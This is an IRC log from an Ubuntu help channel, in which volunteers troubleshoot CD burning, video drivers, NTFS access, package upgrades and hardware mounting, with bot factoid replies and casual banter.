[09:35] <BigToe> look up :P
[09:35] <JoshJ> gnomebaker for gnome and k3b for kde
[09:36] <MerlynC> OrangeOrange: just to give you some push... 5 days ago I said I am going to get back into Linux... been 3 years, (19 now), since those 3 days, I ran into not being able to use live CD... had to use alternate, had to reinstall ubuntu 4 times, running 64 bit duel core, and running games on this, got that all working today... and now I am sitting with working OSS Drivers in cedega (WineX) and no ALSA, yet it says my card works (under ALS
[09:36] <JoshJ> !xipietotex
[09:36] <ubotu> Sorry, I don't know anything about xipietotex - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[09:36] <erisco> Josh, Gnomebaker crashes on me. K3b doesn't detect the CD rom
[09:36] <JoshJ> oof :(
[09:36] <BigToe> When trying to import a .MOV from my Easyshare C433 camera, recognised as a PTP class camera, through gthumb it freezes. How can I import this video without crashing?
[09:36] <rsk> erisco: try nerolinux
[09:36] <MerlynC> stefg: You take care, SBLive time :-D
[09:36] <OrangeOrange> Merylnc: hahah ok
[09:36] <gandalfcome> i have a problem with my dual screen setup (ati). I get a mouse offset on one screen. Please help
[09:36] <erisco> rsk, what is the package name?
[09:37] <JoshJ> so, it's pretty clear what the most important things are:
[09:37] <NkZ> Greetings Guys! I have an Issue. When playing some videos (WMV) on VLC PLayer, the video get's weird, like it does not refresh correctly. Do I need to Download codecs or something or config anything?
[09:37] <riotkittie> reinstall 4 times in 3 days? man. oh. man.
[09:37] <BigToe> !nero
[09:37] <erisco> I just need to burn the image for 6.10 so I can install it
[09:37] <rsk> i dont thinks its in ubuntu repos
[09:37] <ubotu> Sorry, I don't know anything about nero - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[09:37] <BigToe> !nerolinux
[09:37] <ubotu> Sorry, I don't know anything about nerolinux - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[09:37] <BigToe> :S
[09:37] <IndyGunFreak> BigToe, what is nerolinux?
[09:37] <OrangeOrange> riotkittie: i resintall more than that in one day.. but it was xp :<
[09:37] <JoshJ> 1. codecs, with 5815 requests.
[09:37] <Flannel> !burn
[09:37] <ubotu> CD/DVD Burning software: K3b (KDE), gnomebaker, serpentine, graveman Nautilus cd burner (Gnome), gtoaster, xcdroast, cdrecord (terminal-based). Burning .iso files: see https://help.ubuntu.com/community/BurningIsoHowto
[09:37] <JoshJ> !restrictedformats
[09:37] <ubotu> For multimedia issues, this page has useful information: https://help.ubuntu.com/community/RestrictedFormats - See also http://help.ubuntu.com/ubuntu/desktopguide/C/common-tasks-chap.html - But please use free formats if you can: https://help.ubuntu.com/community/FreeFormats
[09:37] <tim167> so now, how do I upgrade my dapper to edgy then ? the methods suggested on https://help.ubuntu.com/community/EdgyUpgrades dont work
[09:37] <stefg> !k3b | BigToe
[09:37] <ubotu> BigToe: k3b is a feature-rich and user-friendly burning application for KDE (and, as all KDE applications, works fine on GNOME). For a guide, see https://help.ubuntu.com/community/K3BHowto
[09:37] <IndyGunFreak> holy crap
[09:37] <IndyGunFreak> relax
[09:37] <JoshJ> there you go NkZ
[09:37] <riotkittie> OrangeOrange: heh.
[09:37] <daedra> !anything
[09:37] <ubotu> Sorry, I don't know anything about anything - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[09:38] <JoshJ> 2. pastebin. 3. ati/nvidia drivers. 4. repositories. 5. wifi.
[09:38] <BigToe> !camera
[09:38] <JoshJ> that's a hell of a top 5 list
[09:38] <OrangeOrange> i so want to fix my resolutoin and use beryl :>
[09:38] <IndyGunFreak> BigToe, just use gnomebaker, and we can all die happy
[09:38] <NkZ> Thanks!
[09:38] <ubotu> Sorry, I don't know anything about camera - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[09:38] <apokryphos> !botabuse
[09:38] <BigToe> !cameras
[09:38] <ubotu> Please investigate with me only in /msg or in #ubuntu-bots (see also !Bot). Abusing the channel bots will only result in angry ops...
[09:38] <ubotu> Sorry, I don't know anything about cameras - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[09:38] <OrangeOrange> hmmm
[09:38] <BigToe> :S
[09:38] <OrangeOrange> !sex
[09:38] <IndyGunFreak> !abuse
[09:38] <ubotu> Sorry, I don't know anything about sex - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[09:38] <ubotu> The people in this channel are volunteers. Your attitude will determine how fast you are helped. See also http://wiki.ubuntu.com/IrcGuidelines
[09:38] <JoshJ> ....
[09:38] <OrangeOrange> kekeke
[09:38] <JoshJ> STOP
[09:38] <apokryphos> OrangeOrange: stop
[09:38] <IndyGunFreak> give it a break man, geez
[09:38] <OrangeOrange> :< ok just testing
[09:38] <IndyGunFreak> we all know you figured out how to use the bot
[09:39] <BigToe> When trying to import a .MOV from my Easyshare C433 camera, recognised as a PTP class camera, through gthumb it freezes. How can I import this video without crashing?
[09:39] <stefg> tim167: what's wrong with dapper? Honestly speaking you are trading a reasonably stable version for a 'less loved child', that tends to make trouble
[09:39] <apokryphos> ubotu: language | OrangeOrange
[09:39] <ubotu> OrangeOrange: Please watch your language and keep this channel family friendly.
[09:39] <swarog> can someone tell me where is joe editor package?
[09:39] <JoshJ> stefg : would you believe that i've had far more issues with dapper than edgy?
[09:39] <JoshJ> swarog: universe
[09:40] <tim167> stefg: I'm on Edgy with my laptop, and I want to AptOnCd stuff from here to the desktop with the dapper installation
[09:40] <Flannel> swarog: you might also be interested in nano, which is already installed
[09:40] <OrangeOrange> what irc clients you guys use?
[09:40] <Alarm> how can i mount bin files ?
[09:40] <BigToe> xchat
[09:40] <riotkittie> irssi
[09:40] <swarog> Flannel: yeap, but i dont like it
[09:40] <JoshJ> tim167: i think your best bet is dpkg -l | grep ^ii > textfile
[09:40] <swarog> used to joe
[09:40] <tim167> stefg: I have to decide now, I found out how to run the upgrade from the Alternate CD...
[09:40] <J-_> irssi
[09:40] <Flannel> swarog: alright.  joe is in universe.
[09:40] <JoshJ> then parse the text file to get a long apt-get line
[09:41] <JoshJ> xchat myself, and this is what ctcp version is for
[09:41] <Flannel> No, it's not.  CTCP version is a good way to get yourself kicked
[09:41] <JoshJ> though doing /ctcp channelname version will probably get you shot
[09:41] <swarog> Flannel: thanks
[09:41] <stefg> tim167: i can't decide for you... installed edgy, ried 2 weeks to fix all the junk out of it, gave up and pimped my dapper
[09:41] <jkimball4> Has anyone had any issues upgrading from Feisty herd 1 to feisty herd 2?
[09:41] <tim167> JoshJ I'll have look at it
[09:42] <JoshJ> jkimball4 : try #ubuntu-future or whatever the channel is for that
[09:42] <tim167> stefg: what kind of problems on Edgy ?
[09:42] <jkimball4> thanks JoshJ
[09:42] <JoshJ> #ubuntu-feisty
[09:42] <JoshJ> er
[09:43] <mnoir> #ubuntu+1
[09:43] <JoshJ> derf
[09:43] <stefg> tim167: kernel, usplash, Openoffice, xorg (wrong libfreetype for OOo) ,... a bunch of real stupud bugs, which tell 'we didn't have enough time for testing'
[09:44] <JoshJ> so i'm curious, how many people in here plan to switch to debian etch when that comes out?
[09:44] <deepbluegene>  hi. i have nvidia geforce2 mx 4000 agp card. how and from where i can install the drivers. i am unable to use google earth.i just keep flickring at very high rate
[09:45] <lun> It's so strange that suddenly everything is slow in Edgy.
[09:45] <tim167> stefg: hm, you make me think twice, although I havent had major problems here on Edgy
[09:45] <JoshJ> i haven't had edgy problems either, but i think the real problems come in the upgraderather than the fresh install
[09:45] <JoshJ> especially if you've got a lot of stuff that's outside the package manager
[09:46] <riotkittie> debian schmebian. eh. i might give it a go.
[09:46] <stefg> tim167: it's the same with me: on the lappie edgy is a winner, but on the desktop it's junk
[09:46] <Itaku> Hello all !
[09:46] <trappist> stefg: I'll second that
[09:46] <Itaku> Is daftman there ?
[09:47] <trappist> stefg: due to the non-preemptible kernel
[09:47] <tim167> trappist: you must be belgian ;)
[09:47] <trappist> stefg: but in feisty we have a low-latency kernel in universe
[09:47] <trappist> tim167: no, I just love their beers :)
[09:47] <tim167> heh
[09:47] <phr34ck> hey, I have a .package file ... how can I install it ?
[09:48] <foobarian> JoshJ, no debian for me, ubuntu seems better at following the cutting edge
[09:48] <JoshJ> i think .packages work automatically if you doubleclick them
[09:48] <rogue780> is there a way to set samba up so it doesn't require any username and password to view and modify a share?
[09:48] <tim167> trappist: feisty is what comes after Edgy ?
[09:48] <stefg> trappist: i gave up a long time ago on ubuntu stock kernels... dev's have to fix the release process first. I have my config and run vanilla + ck-patch kernels on all my machines
[09:48] <rogue780> tim167, yes
[09:48] <erisco> I don't think Ubuntu is successfully mounting my CD rom drive. Is there a way I can try this myself?
[09:49] <rogue780> erisco, try sudo mount /dev/cdrom /media/cdrom
[09:49] <trappist> stefg: I find it to be a pita to keep up with running my own kernel, so I only do it if I have to, as in with edgy
[09:49] <tim167> trappist: if you say low-latency, do you mean for audio apps ?
[09:49] <Itaku> comment on installe la nouvelle version de FF ?
[09:49] <pike_> erisco: and dont try to mount an audio cd :)
[09:49] <JoshJ> !fr
[09:49] <ubotu> Allez a #ubuntu-fr ou #kubuntu-fr pour de l'aide et de la discussion en francais.
[09:49] <trappist> tim167: that was the idea behind it, but I mostly just wanted a preemptible kernel so i/o would make X lag
[09:49] <ardchoille42> This thing is awesome! I love the Ubuntu community   http://ubuntuforums.org/showthread.php?t=336795
[09:49] <schisms> Can you guys help me with something relating to linux, but not ubuntu?
[09:50] <jrib> schisms: just ask
[09:50] <rogue780> ardchoille42, nice tsu
[09:50] <BigToe> When trying to import a .MOV from my Easyshare C433 camera, recognised as a PTP class camera, through gthumb it freezes. How can I import this video without crashing?
[09:50] <HymnToLife> schisms, just askt, Ubuntu is related to Linux, isn't it ?
[09:50] <schisms> I need some contributors for my linux wiki.
[09:50] <foobarian> trappist, is a preemptible kernel going to fix that?
[09:50] <rogue780> ardchoille42, or was that a shi...it's been a while
[09:50] <schisms> And I was hoping this isn't asking too much.
[09:50] <trappist> foobarian: yes
[09:50] <stefg> trappist: that's my biggest complaint... Once ubuntu was the trouble-free alternative to debian. Actually *now* it's kind of running Debian SID, in trms of convinience
[09:51] <trappist> foobarian: that's pretty much the whole point, so kernel processes don't get in the way of userspace processes (too much)
[09:51] <phr34ck> hey, I have a .package file ... how can I install it ?
[09:51] <ardchoille42> rogue780, Refresh my memory.. since my memory sucks, lol
[09:51] <erisco> pike_ it can do that
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[09:51] <JoshJ> er
[09:51] <JoshJ> that's bad syntax
[09:51] <erisco> rogue780, it said no medium was found
[09:51] <JoshJ> it's head | desk
[09:51] <trappist> stefg: I still have fewer complaints than with any other distro, but yeah the kernel thing bugs me
[09:51] <HymnToLife> stefg, I'm running sid right now and I'm very happy with it
[09:51] <foobarian> trappist: do you know this from experience? with X it's often another user process getting in the way and preemption doesn't help
[09:51] <mnoir> um head <-> desk
[09:51] <schisms> I just know that someone here has enough info for it.
[09:52] <rogue780> erisco, my vast knowledge has been exhausted...maybe 'cause I'm noobish
[09:52] <trappist> foobarian: my big problem has been X lag under i/o load, especially when installing packages.  built my own preemptible kernel and presto, no more problem
[09:52] <erisco> rogue780, I am not sure you can "mount" a blank disk. However all the programs I try say one has not been inserted (when one has)
[09:52] <jrib> schisms: I thought you meant a support question, that is better asked in -offtopic
[09:52] <BigToe> When trying to import a .MOV from my Easyshare C433 camera, recognised as a PTP class camera, through gthumb it freezes. How can I import this video without crashing?
[09:52] <riotkittie> mount /dev/desk /head && umount /head && mount /dev/desk /head &&...
[09:52] <stefg> My pint is: Ubuntu is loosing its right of existance if its as troublesome as sid, only different problems
[09:52] <schisms> Thought so, thanks anyway.
[09:53] <foobarian> trappist: i see, that's great!
[09:53] <foo> I have eth0, eth0:1, eth0:2.. eth0:5. For some reason, ubuntu was  using eth0 last night to get out to the Internet, but now it's using  eth0:3 ... makes no sense to me. Any reason for this? It changes and seems to go out on different IPs. This is really frustrating... who and/or what do I blame?
[09:53] <rogue780> erisco, I didn't realize it was a blank disc
[09:53] <BigToe> riotkittie, use loop :P
[09:53] <trappist> stefg: even mandrake hasn't lost its right to exist :)  it's just in danger of not being the most awesomest distro... but it'll have to do worse than this for that
[09:53] <riotkittie> BigToe: that'd make too much sense ;p
[09:53] <rogue780> erisco, I dunno.
[09:54] <erisco> rogue780, I am trying to burn an ISO image for ubuntu 6.10...
[09:54] <foo> trappist: hah, yo
[09:54] <erisco> gah this is ridiculously fusterating.
[09:54] <foobarian> trappist: my biggest issues have been due to some process eating up all memory, and causing a swap death.  this is easy to prevent by setting a memoryuse limit though.
[09:54] <rogue780> erisco, you may be able to use dd
[09:54] <erisco> rogue780, what is that?
[09:54] <rogue780> erisco, something like dd if=ubuntu.iso of=/dev/cdrom I think is the syntax. man dd to be sure
[09:55] <rogue780> it's a image making/copying program
[09:55] <rogue780> very useful
[09:55] <rogue780> it may do what you need it to do
[09:55] <BigToe> lol riotkittie
[09:56] <salah__> any ideas how to get the card reader (SD - MS/Pro - MMC - SM - XD) on my computer to work?
[09:56] <BigToe> When trying to import a .MOV from my Easyshare C433 camera, recognised as a PTP class camera, through gthumb it freezes. How can I import this video without crashing?
[09:56] <phr34ck> so noone knows how to deal with .package files?
[09:57] <pike_> phr34ck: i know to avoid them :)
[09:57] <ardchoille42> salah, I bought a card reader and found that I plugged it into a USB slot but nothing happened until I actually inserted a card, then an icon popped up on the desktop and I could browse the card with nautilus.
[09:57] <salah__> BigToe, import it manually via mounting the memory card on it
[09:57] <erisco> rogue780, know any GUIs for man pages?
[09:57] <killown> do anyone know any program simulator effects guitar?
[09:57] <rogue780> erisco, nope
[09:57] <salah__> ardchoille42, my card reader is builtin to the computer, and I have a card inserted
[09:57] <phr34ck> pike_, I can't ... I downloaded the new version of amsn and it's .package file ... what am I suppose to do ?
[09:58] <phr34ck> There is also a tar file, should I download that ?
[09:58] <rogue780> erisco, the dd thing should be simple though... if is the input file of is the output file (being /dev/cdrom)
[09:58] <erisco> rogue780, i cannot begin to understand what it is saying, anyways
[09:58] <petafile> Any ideas why my soundcard only works about half the time I boot up?
[09:58] <Gosha> is it possible to create a new workspace without any bars .. as in the top and the bottom thing, i want a program fullscreened there
[09:58] <rogue780> hold on and I will tell you exactly what to do
[09:58] <BigToe> salah, how?
[09:58] <JoshJ> Gosha: if you have an actual fullscreen program it will get rid of the bars on its own
[09:58] <erisco> rogue780, dd: opening `/media/cdrom': Is a directory
[09:58] <Gosha> no, it's not fullscreen
[09:58] <Gosha> firefox actually
[09:58] <petafile> It either works fine, or not at all, and its aparantly decided at least by the time the login manager starts
[09:59] <kohr_> I just got a new HDD and i want to know what filesystem i should put on it, I want it to be windows and linux accessible, and be able to password protect files
[09:59] <BigToe> I've been through this before salah and it seems weirdly, I can't mount it
[09:59] <rogue780> erisco, sudo dd if=/home/user/ubuntu.iso of=/dev/cdrom
[09:59] <JoshJ> Gosha hit f11 in firefox
[09:59] <JoshJ> that toggles fullscreen-ness
[09:59] <rogue780> erisco, obviously change the path of the iso to the correct one
[09:59] <daedra> anyone know of any commandline music players?
[09:59] <JoshJ> you don't need to do anything with the workspaces
[09:59] <pike_> kohr_: fat32 is standard for shared partition
[09:59] <foobarian> daedra, mpg123
[09:59] <Gosha> oh, wait .. it's not firefox >_<
[09:59] <Gosha> it's a java applet
[09:59] <erisco> rogue780, came back with the same thing
[09:59] <JoshJ> ...heh
[09:59] <lmosher> sudo apt-get dist-upgrade wants to remove 'nvidia-glx' why and should I trust this?
[09:59] <kohr_> pike_ can I password protect files?
[10:00] <JoshJ> o_O
[10:00] <foobarian> lmosher, from dapper to edgy?
[10:00] <rogue780> sudo umount /dev/cdrom
[10:00] <erisco> rogue780, and for /dev/cdrom I get: dd: opening `/dev/cdrom': No medium found
[10:00] <petafile> kohr_, true, vfat is probably best, but with ntfs-3g, windows is happier, and I haven't heard of any ntfs3g problems
[10:00] <faeryNatsuki> i found my sound problem...
[10:00] <rogue780> erisco, my last msg is for you
[10:00] <jrib> lmosher: are you upgrading from dapper?
[10:00] <lmosher> foobarian, no I have edgy
[10:00] <erisco> rogue780, it came back saying it was not mounted
[10:00] <Gosha> is there no way?
[10:00] <BigToe> I've been through this before salah__  and it seems weirdly, I can't mount it
[10:00] <daedra> ~~
[10:00] <jrib> lmosher: why run dist-upgrade on edgy?
[10:00] <daedra> ~~
[10:00] <foxiness> salah__:do a search on linuxlaptop on the YOUER_LAPTOP_MODEL secition and you may find sol there
[10:00] <Gosha> !workspaces
[10:00] <foobarian> lmosher: what he said
[10:00] <ubotu> Sorry, I don't know anything about workspaces - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[10:00] <jerp> lmosher, do you have beryl installed?
[10:00] <Gosha> !workspace
[10:00] <petafile> No sound card ideas?
[10:00] <ubotu> Sorry, I don't know anything about workspace - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[10:00] <pike_> kohr_: you can encrypt. other than fat im not really sure what alternative you have if you want to view in windows too
[10:00] <Gosha> :(
[10:01] <rogue780> do you have a /dev/cdrom0 or /dev/dvd ?
[10:01] <faeryNatsuki> my creative sound card it's not "compatible" with flash and java sound... maybe it's an option or setting for this sound card
[10:01] <lmosher> foobarian, jrib: 2.6.17-10-generic. yes I use beryl, and the auto-update utility told me it needed to do a dist-upgrade and then got an error.
[10:01] <stefg> kohr_: FYI, i'm running ntfs3g without issues for half a year. Avoid compressed NTFS, btw
[10:01] <JoshJ> dist-upgrade  in addition to performing the function of upgrade,
[10:01] <JoshJ>               also intelligently handles changing dependencies with  new  ver
[10:01] <JoshJ>               sions  of  packages;
[10:01] <JoshJ> dist-upgrade isn't JUST for going dapper -> edgy :P
[10:01] <erisco> rogue780, I did cdrom0 and things happened...
[10:01] <JoshJ> you do dist-upgrade also when foo (depends on bar) also now depends on baz
[10:01] <kohr_> stefg should i choose that over fat32?
[10:01] <rogue780> erisco, magical things?
[10:01] <erisco> rogue780, something very wrong
[10:01] <mzanfardino> !ipv6
[10:01] <ubotu> To disable ipv6 read https://help.ubuntu.com/community/WebBrowsingSlowIPv6IPv4
[10:01] <Skyrail> ubuntu won't find my camera when I plug it in, any ideas what the problem maybe? It acts as if it's connected teh camera does but ubuntu won't mount anything
[10:01] <lmosher> jerp, Yes i use beryl, what's that mean? Should I trust?
[10:02] <foobarian> all i know is, dist-upgrade hosed my machine going from dd to ee
[10:02] <jrib> JoshJ: that shoudln't change once edgy is released stable though should it?
[10:02] <erisco> rogue780, it ran out of space after 500MB... and it went at 51MB per second. That isn't right at all
[10:02] <JoshJ> jrib: it can
[10:02] <jerp> lmosher, I had the same problem
[10:02] <faeryNatsuki> how can i restart the sound system without restating computer?
[10:02] <rogue780> I would like to take this moment to remind folks that I take absolutely no responsibility for damages I may cause to your computer
[10:02] <stefg> kohr_: fragmentation, 4GB size-limit, inefficiency on drives >32G
[10:02] <lmosher> jerp, hrm did you do the dist-upgrade? Or just ignore it?
[10:02] <rogue780> erisco, what command did you do?
[10:02] <lmosher> JoshJ, So do you reccomend I do the dist-upgrade, which wants to remove nvidia-glx?
[10:03] <petafile> is there a better channel to ask about sound card issues?
[10:03] <erisco> rogue780, hehe, there it is. A corrupted file sitting there in /dev/ named cdrom0 :P
[10:03] <BigToe> When trying to import a .MOV from my Easyshare C433 camera, recognised as a PTP class camera, through gthumb it freezes. How can I import this video without crashing? I can't seem to mount the digital camera either, so :S
[10:03] <rogue780> erisco, and could you do a df -h for me?
[10:03] <rushfan2> can someone answer two quick questions about Ubuntu server?
[10:03] <erisco> rogue780, *deletes*
[10:03] <ardchoille42> There used to be a way to view man pages in nautilus. Was it removed from nautilus?
[10:03] <JoshJ> lmosher : i have no idea because i don't know if you NEED nvidia-glx or not
[10:03] <JoshJ> because (A) i don't use nvidia
[10:03] <kohr_> stefg its 250Gb, windows can access ntfs3g?
[10:03] <JoshJ> and (B) i've never had dist-upgrade ask me that
[10:03] <rogue780> erisco, have you tried using k3b?
[10:03] <Skyrail> Anyone know why ubuntu won't mound my camera?
[10:03] <Skyrail> *mount
[10:03] <lmosher> JoshJ, ok ty anyway. I don't know what requires it either, but apt-get thinks I don't :P
[10:03] <JoshJ> i recommend seeing what depends on nvidia-glx
[10:03] <jerp> lmosher, nvidia-glx broke on me, I installed the new beta driver and got it rebuilt through aptitude and today it wants to upgrade it to the driver version 9746
[10:03] <BigToe> Skyrail, what camera?
[10:03] <petafile> kohr_, ntfs 3g is the way linux sees xp ntfs volumes
[10:04] <petafile> ntfs is native to windows xp
[10:04] <foobarian> lmosher, imho i would be prepared to fix X manually if i went through with it
[10:04] <higi> i nbeed to go to Device Drivers- Networking support in "menuconfig"
[10:04] <higi> where is that?
[10:04] <erisco> rogue780, what do you know from that list? and K3b does not detect that there is a blank disk in the drive... gnomebaker failed to load, GTK error, and whatever is "built in" to GNOME fails to find the blank disk as well
[10:04] <stefg> kohr_: it's NTFS... ntfs3g is the name of the linux driver project which first made ntfs /writable/ with reasonable success
[10:04] <JoshJ> try apt-cache madison nvidia-glx and see what it says
[10:04] <OrangeOrange> hi guys .. it seems like i need to update my video driver.. it's intel 945(built in) however the intel.com site direct me to http://www.intellinuxgraphics.org/download.html ... wat do i do?
[10:04] <foobarian> lmosher: what we will put up with for 3d acceleration :)
[10:04] <JoshJ> if you get a ton of stuff showing up you definitely do not want to let it do that
[10:04] <lmosher> jerp, ok I'll save this for a weekend when I'm prepared to rebuild it and I don't need my laptop :)
[10:04] <kane77> why does aptitude want to fix some broken dependencies while apt-get is absolutely fine...
[10:04] <kane77> ?
[10:04] <bakert> foobarian, JoshJ, mnoir -- of course not long later after more than 8 hours the compile finished so I was able to reboot.  Thanks for your help!
[10:05] <jmdc_> I'm having wireless problems. I can see the network I want to connect to with iwlist, but I cannot connect to it. I've tried using the Connection Properties gui as well as manually checking /etc/network/interfaces and brining the interface up with ifup.
[10:05] <rogue780> erisco, what list?
[10:05] <higi> i nbeed to go to Device Drivers- Networking support in "menuconfig". Where is that?
[10:05] <BigToe> Skyrail, what camera?  model?
[10:05] <stefan> I like this ubuntu.. very clever :)
[10:05] <foobarian> bakert: cool :)
[10:05] <erisco> rogue780, the one from df -h or whatever
[10:05] <lmosher> alright guys. thanks I'll hold off until I can deal w/ it. Cheers.
[10:05] <jerp> lmosher, use lupine's sever when you get to it.
[10:05] <richardson183> does anybody know how to make a scanner work through the parallel port?
[10:05] <JoshJ> kane: i'm betting the same reason synaptic will want you to fix it
[10:05] <jerp> server
[10:05] <JoshJ> richardson183 : try xsane maybe
[10:05] <rogue780> erisco, it just shows space remaining on all the different partitions
[10:05] <kohr_> stefg, so writing works? cause I figure i will probally be using this mainly from linux
[10:05] <foobarian> bakert: by the way, as i said before, 'kill -STOP <pid>; kill -CONT <pid>' seems to make the process immune to death of its controlling tty
[10:05] <pike_> jmdc_: iwconfig eth1 essid networkname; dhclient eth1  doesnt aquire an ipaddress?
[10:05] <stefg> !ntfs | kohr
[10:05] <ubotu> kohr: To view your Windows/Mac partitions see https://help.ubuntu.com/community/AutomaticallyMountPartitions. For write access see !ntfs-3g or !fuse
[10:05] <rogue780> I was curious as to whether dd created a new file called /dev/cdrom0 instead of outputting through ti
[10:06] <kane77> JoshJ, but apt-get is fine...
[10:06] <erisco> rogue780, okay but that doesn't help me
[10:06] <rogue780> and thus filling up your hard drive
[10:06] <stefg> !fuse
[10:06] <ubotu> Though it's still very unsafe, you can read about Ubuntu NTFS writing using fuse here: https://wiki.ubuntu.com/Lkraider/NtfsFuse
[10:06] <Skyrail> BigToe: Samsung Digimax A6, problem is it used to work, but it stopped working after my graphics card crashed causing me to restart the PC, I also had problems with my CD-Drives mounting, but they are fixed now...
[10:06] <JoshJ> kane77 : i'm not sure apt-get searches for broken dependencies
[10:06] <rogue780> erisco, I'm outta ideas
[10:06] <JoshJ> i don't know though, but that seems a logical explanation
[10:06] <richardson183> Joshj:> tried it can't detect it I think it's because i'm using a parallel port instead of the usb port
[10:06] <assasukasse> hi all, i have a problem with a package, when i open synaptic or update manager i get an error, internal error opening cache, xmms-alarm need to be reinstalled but i can't find a package
[10:06] <assasukasse> what should i do
[10:06] <BigToe> ah, Skyrail
[10:06] <kane77> JoshJ, well it can fix it ( -f parameter)
[10:06] <JoshJ> hm
[10:06] <JoshJ> yeah good point
[10:06] <JoshJ> probably isn't that
[10:06] <BigToe> Skyrail, then I can't help you :(
[10:06] <erisco> rogue780 and all I wanted to do was upgrade OS's. I am kind of ticked at this :P Not your fault, actually thanks for giving it your best shot
[10:06] <stefg> i might add that i consider writing to ntfs safe.. i have my backups, but never needed them up to now
[10:06] <foobarian> bakert: screen is still a lot nicer and more useful
[10:07] <JoshJ> i'll agree with stefg on this one
[10:07] <jmdc_> pike, I've been setting the essid and wpa password in /etc/network/interfaces and using ifup instead of that, but no, I'm not getting an IP.
[10:07] <rogue780> erisco, no prob. can you read cds though?
[10:07] <kane77> JoshJ, synaptic is fine...
[10:07] <JoshJ> kane77: dunno then, i suggest just not using aptitude then
[10:07] <Skyrail> BigToe: ok :(
[10:07] <erisco> rogue780, I ripped audio CD's
[10:07] <OrangeOrange> http://www.intellinuxgraphics.org/download.html i need to somehow update my videocard driver... wat i do in this site to do that?
[10:07] <erisco> rogue780, the blank disks seem to be giving it the trouble...
[10:07] <kohr_> stefg, so writing works? cause I figure i will probally be using this mainly from linux
[10:08] <rogue780> erisco, don't be offended....it is a cd-rw drive right?
[10:08] <rogue780> or dvd-rw
[10:08] <kane77> JoshJ, but I particularly like its auto removing of unused dependencies...
[10:08] <JoshJ> writing works, but you probably want to back up before doing it
[10:08] <JoshJ> kane77 : apt-get autoremove does that
[10:08] <bakert> foobarian, what do you do, use screen in every gnome-terminal?  or just fire it up when you know in advance you are going to do that kind of thing?
[10:08] <erisco> rogue780, it writes CD's, yes. It will read DVD's as well, but I don't think it will write those
[10:08] <roxlu> hi !
[10:08] <roxlu> does someone knows a good backup util? (maybe with a gui?)
[10:09] <foobarian> bakert: not every, usually just one and then i run long-running things there, such as text bittorrent clients
[10:09] <rogue780> erisco, I know this is a windoze response....have you tried restarting?
[10:09] <JoshJ> roxlu: apt-cache search backup
[10:09] <JoshJ> !backup
[10:09] <ubotu> There are many ways to back your system up. Here's a few: https://help.ubuntu.com/community/BackupYourSystem , https://help.ubuntu.com/community/DuplicityBackupHowto , https://wiki.ubuntu.com/HomeUserBackup , https://help.ubuntu.com/community/MondoMindi - See also !sbackup and !cloning
[10:09] <stefg> kohr_: think about having one big partition with ext3 or reiserfs, and only a relatively small ne for 'shared' files. My movie and music partiton is ntfs, btw. writing is abit slow from linux, but never ever a single problem
[10:09] <bakert> foobarian, cool .. i'll look into it.
[10:09] <JoshJ> there are a LOT of backups
[10:09] <richardson183> JoshJ:> can you give me any suggestions on what to do?
[10:09] <roxlu> thanx josh
[10:09] <JoshJ> richardson183 no idea what to do for your problem sorry, someone else might though
[10:10] <erisco> rogue780, actually windows has a hell of a time with the drive as well... apparently it recognizes the driver all right, but most of the time it will not detect ANY type of CD existing in it
[10:10] <foobarian> bakert: for example, my current screen process has been running 151 days already
[10:10] <erisco> roque780, I'd hate to think it was related though
[10:10] <richardson183> JoshJ:>thanks anyway
[10:10] <rogue780> erisco, I'm going to vote that your drive is dying, and it may need a proper burial
[10:10] <richardson183> does anybody know how to make a scanner work through the parallel port?
[10:10] <Spaghetti_Knife> Hi, I was just wondering, I have a folder named "K&R Section 1," and the terminal won't let me access it.
[10:10] <BigToe> richardson183, plug it in
[10:10] <erisco> roque780, I really don't think it is though. Linux can read it fine, it is just these blank CDs
[10:11] <richardson183> bigtoe:>done that
[10:11] <Spaghetti_Knife> I know it has something to do with the fact that it has spaces in its name.
[10:11] <foobarian> bakert: two other nice features: you can open multiple virtual ttys inside one screen session; and you can reattach to the screen session from anywhere.
[10:11] <Spaghetti_Knife> i just want to bypass that.
[10:11] <BigToe> Spaghetti_Knife, type K& then type <tab>
[10:11] <richardson183> bigtoe:>everything it connected correctly
[10:11] <jmdc_> pike_, No, I don't get an IP.
[10:11] <sneakums> Spaghetti_Knife: or use double quotes around the whole name
[10:11] <jmdc_> pike_, I just tried doing it your way directly
[10:12] <BigToe> Spaghetti_Knife, or put backwards slashes before the spaces (and maybe the &)
[10:12] <erisco> rogue780... oh god... it is my drive
[10:12] <erisco> rogue780, this really isn't too good
[10:12] <kohr_> stefg what is the advantage of ext3?
[10:12] <richardson183> bigtoe:>everything it connected correctly
[10:12] <erisco> rogue780, I sure the hell hope other things are not dying
[10:12] <pike_> jmdc_: ive never fooled with wpa sorry.
[10:12] <rushfan2> can someone answer two question about server?
[10:12] <BigToe> hmm richardson183 :S
[10:12] <erisco> rogue780, ubuntu hasn't been able to shut down the computer properly
[10:12] <BigToe> !ask
[10:12] <ubotu> Don't ask to ask a question. Just ask your question :)
[10:12] <rushfan2> hello
[10:13] <Spaghetti_Knife> Thanks, guys.
[10:13] <Spaghetti_Knife> It worked.
[10:13] <assasukasse> i installed xmms-alarm from debian, that broke my synaptic, how can i get rid of it and rebuild the cache?
[10:13] <erisco> rogue780, and just like this cdrom drive.. it will rarely work
[10:13] <rogue780> erisco, tell me about your computer
[10:13] <stefg> kohr_: ext3 is linux native... no permission problems, no driver problems
[10:13] <erisco> roque780, I just stuck back in the CD's I ripped a few days earlier and now they cannot be read
[10:13] <jmdc_> pike_, Well, I just went into the access point and turned it off, and I didn't do any better
[10:13] <pike_> kohr_: just build a file server. you know you want to
[10:13] <BigToe> can someone buy me a card reader and bluetooth dongle? thanks :P
[10:13] <richardson183> bigtoe:>I know i've racked my brain on this one
[10:14] <rushfan2> sorry if someone answered I missed it, have 2 questions about ubuntu server.
[10:14] <pike_> JDStone: recent kernel upgrade?
[10:14] <BigToe> the card reader would eliminate this camera problem, and the bluetooth dongle the phone one
[10:14] <pike_> jmdc_: ^ ?
[10:14] <foobarian> stefg, reiserfs practically *murders* ext3 ;)
[10:14] <erisco> rogue780.. well there it goes again though. I stuck in another one of the disks I ripped and now it reads it
